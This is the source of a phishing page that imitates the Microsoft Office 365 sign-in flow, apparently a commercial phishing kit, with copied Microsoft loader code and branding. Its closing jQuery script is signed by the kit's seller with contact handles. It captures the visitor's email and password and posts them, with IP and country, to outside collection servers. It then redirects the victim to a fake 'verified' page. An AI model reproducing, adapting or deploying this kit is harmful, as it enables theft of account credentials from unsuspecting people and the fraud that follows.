return f.$Config||f.ServerData||{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src||r.href||"")+"'",e+=", id:"+(r.id||""),e+=", async:"+(r.async||""),e+=", defer:"+(r.defer||"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")||-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){
var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+v.length).toLowerCase()===v}function a(){var r=e();return(r.loader||{}).slReportFailure||r.slReportFailure||!1}function i(){return(e().loader||{}).redirectToErrorPageOnLoadFailure||!1}function u(){return(e().loader||{}).logByThrowing||!1}function s(e){if(!t()&&!n()){return!1}var r=e.src||e.href||"";if(!r){return!0}if(o(r)){var a,i,u;try{a=e.sheet,i=a&&a.cssRules,u=!1}catch(e){u=!0}if(a&&!i&&u){return!0}
if(a&&i&&0===i.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var s=null;return s=o(e)?a(e):"script"===n.toLowerCase()?i(e):u(e,n),r&&(s.id=r),"function"==typeof s.setAttribute&&(s.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&s.setAttribute("integrity",t)),s}function a(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function i(e){var r=g.createElement("script")
;return r.type="text/javascript",r.src=e,r.defer=!1,r.async=!1,r}function u(e,r){var t=g.createElement(r);return t.src=e,t}function d(e){if(!(m&&m.length>1)){return e}for(var r=0;r<m.length;r++){if(0===e.indexOf(m[r])){return m[r+1<m.length?r+1:0]+e.substring(m[r].length)}}return e}function l(e,t,n,o){if(r("[$Loader]: "+(b.failMessage||"Failed"),o),$[e].retry<p){return $[e].retry++,v(e,t,n),void c._ReportFailure($[e].retry,$[e].srcPath)}n&&n()}function f(e,t,n,o){if(s(o)){return l(e,t,n,o)}
r("[$Loader]: "+(b.successMessage||"Loaded"),o),v(e+1,t,n);var a=$[e].onSuccess;"function"==typeof a&&a($[e].srcPath)}function v(e,o,a){if(e<$.length){var i=$[e];if(!i||!i.srcPath){return void v(e+1,o,a)}i.retry>0&&(i.srcPath=d(i.srcPath),i.origId||(i.origId=i.id),i.id=i.origId+"_Retry_"+i.retry);var u=n(i.srcPath,i.id,i.integrity,i.tagName);u.onload=function(){f(e,o,a,u)},u.onerror=function(){l(e,o,a,u)},u.onreadystatechange=function(){"loaded"===u.readyState?setTimeout(function(){f(e,o,a,u)
},500):"complete"===u.readyState&&f(e,o,a,u)},t(u),r("[$Loader]: Loading '"+(i.srcPath||"")+"', id:"+(i.id||""))}else{o&&o()}}var h=e(),p=h.slMaxRetry||2,y=h.loader||{},m=y.cdnRoots||[],b=this,$=[];b.retryOnError=!0,b.successMessage="Loaded",b.failMessage="Error",b.Add=function(e,r,t,n,o,a){e&&$.push({"srcPath":e,"id":r,"retry":n||0,"integrity":t,"tagName":o||"script","onSuccess":a})},b.AddForReload=function(e,r){var t=e.src||e.href||"";b.Add(t,"AddForReload",e.integrity,1,e.tagName,r)},
b.AddIf=function(e,r,t){e&&b.Add(r,t)},b.Load=function(e,r){v(0,e,r)}}var d,l,f=window,g=f.document,v=".css";c.On=function(e,r,t){if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(s(e)){return c.OnError(e,t)}var n=e.src||e.href||"",o=a(),u=i();r("[$Loader]: Loaded",e);var d=new c;d.failMessage="Reload Failed",d.successMessage="Reload Success",
d.Load(null,function(){if(o){throw"Unexpected state. ResourceLoader.Load() failed despite initial load success. ['"+n+"']"}u&&(document.location.href="/error.aspx?err=504")})},c.OnError=function(e,t){var n=e.src||e.href||"",o=a(),u=i();if(!e){throw"The target element must be provided and cannot be null."}r("[$Loader]: Failed",e);var s=new c;s.failMessage="Reload Failed",s.successMessage="Reload Success",s.AddForReload(e,t),s.Load(null,function(){if(o){throw"Failed to load external resource ['"+n+"']"}
u&&(document.location.href="/error.aspx?err=504")}),c._ReportFailure(0,n)},c._ReportFailure=function(e,r){if(u()&&!t()){throw"[Retry "+e+"] Failed to load external resource ['"+r+"'], reloading from fallback CDN endpoint"}},f.$Loader=c}(),function(){function e(){if(!$){var e=new h.$Loader;e.AddIf(!h.jQuery,y.sbundle,"WebWatson_DemandSupport"),y.sbundle=null,delete y.sbundle,e.AddIf(!h.$Api,y.fbundle,"WebWatson_DemandFramework"),y.fbundle=null,delete y.fbundle,e.Add(y.bundle,"WebWatson_DemandLoaded"),
e.Load(r,t),$=!0}}function r(){if(h.$WebWatson){if(h.$WebWatson.isProxy){return void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&h.$WebWatson[e.cmdName].apply(h.$WebWatson,e.args)}})}}function t(){if(!h.$WebWatson||h.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),e.setRequestHeader("Accept","application/json"),e.setRequestHeader("Content-Type","application/json; charset=UTF-8"),e.setRequestHeader("canary",p.apiCanary),
e.setRequestHeader("client-request-id",p.correlationId),e.setRequestHeader("hpgid",p.hpgid||0),e.setRequestHeader("hpgact",p.hpgact||0);for(var r=-1,t=0;t<b.length;t++){if("submit"===b[t].cmdName){r=t;break}}var o=b[r]?b[r].args||[]:[],a={"sr":y.sr,"ec":"Failed to load external resource [Core Watson files]","wec":55,"idx":1,"pn":p.pgid||"","sc":p.scid||0,"hpg":p.hpgid||0,"msg":"Failed to load external resource [Core Watson files]","url":o[1]||"","ln":0,"ad":0,"an":!1,"cs":"","sd":p.serverDetails,"ls":null,
"diag":v(y)};e.send(JSON.stringify(a))}catch(e){}w=!0}y.loadErrorUrl&&window.location.assign(y.loadErrorUrl)}n()}function n(){b=[],h.$WebWatson=null}function o(r){return function(){var t=arguments;b.push({"cmdName":r,"args":t}),e()}}function a(){var e=["foundException","resetException","submit"],r=this;r.isProxy=!0;for(var t=e.length,n=0;n<t;n++){var a=e[n];a&&(r[a]=o(a))}}function i(e,r,t,n,o,a,i){var u=h.event;return a||(a=l(o||u,i?i+2:2)),
h.$Debug&&h.$Debug.appendLog&&h.$Debug.appendLog("[WebWatson]:"+(e||"")+" in "+(r||"")+" @ "+(t||"??")),E.submit(e,r,t,n,o||u,a,i)}function u(e,r){return{"signature":e,"args":r,"toString":function(){return this.signature}}}function s(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){r.push(u(t[n],[]))}return r}function c(e){for(var r=[],t=e.split("\n"),n=0;n<t.length;n++){var o=u(t[n],[]);t[n+1]&&(o.signature+="@"+t[n+1],n++),r.push(o)}return r}function d(e){if(!e){return null}try{if(e.stack){
return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

